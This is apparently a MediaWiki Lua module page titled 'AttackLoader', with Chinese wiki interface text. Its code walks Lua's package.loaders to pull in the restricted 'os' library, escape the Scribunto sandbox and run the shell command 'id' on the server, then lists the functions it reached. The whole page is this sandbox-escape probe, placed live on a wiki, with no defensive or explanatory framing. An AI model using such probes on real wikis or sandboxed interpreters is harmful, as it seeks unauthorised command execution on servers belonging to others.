模块:AttackLoader
可在模块:AttackLoader/doc创建此模块的帮助文档
local p = {}
function p.test()
local results = {}
results[1] = "loaders_type=" .. type(package.loaders)
-- If loaders is a table, try each one
if type(package.loaders) == "table" then
results[2] = "loaders_count=" .. #package.loaders
for i, loader in ipairs(package.loaders) do
results[#results+1] = "loader" .. i .. "=" .. type(loader)
if type(loader) == "function" then
-- Try to load 'os' with this loader
local ok, result_func = pcall(loader, "os")
results[#results+1] = " result=" .. tostring(ok) .. ":" .. type(result_func)
if ok and type(result_func) == "function" then
-- Execute the returned function to get the module
local ok2, mod = pcall(result_func)
results[#results+1] = " mod=" .. tostring(ok2) .. ":" .. type(mod)
if ok2 and type(mod) == "table" then
results[#results+1] = " execute=" .. type(mod.execute)
if mod.execute then
results[#results+1] = "*** EXECUTE FOUND IN LOADER " .. i .. " ***"
local ok3, ret = pcall(mod.execute, "id")
results[#results+1] = " exec_result=" .. tostring(ok3) .. ":" .. tostring(ret)
end
-- List all functions in mod
local fns = {}
for k, v in pairs(mod) do
if type(v) == "function" then
fns[#fns+1] = k
end
end
results[#results+1] = " fns=" .. table.concat(fns, ",")
end
end
end
end
end
return table.concat(results, " | ")
end
return p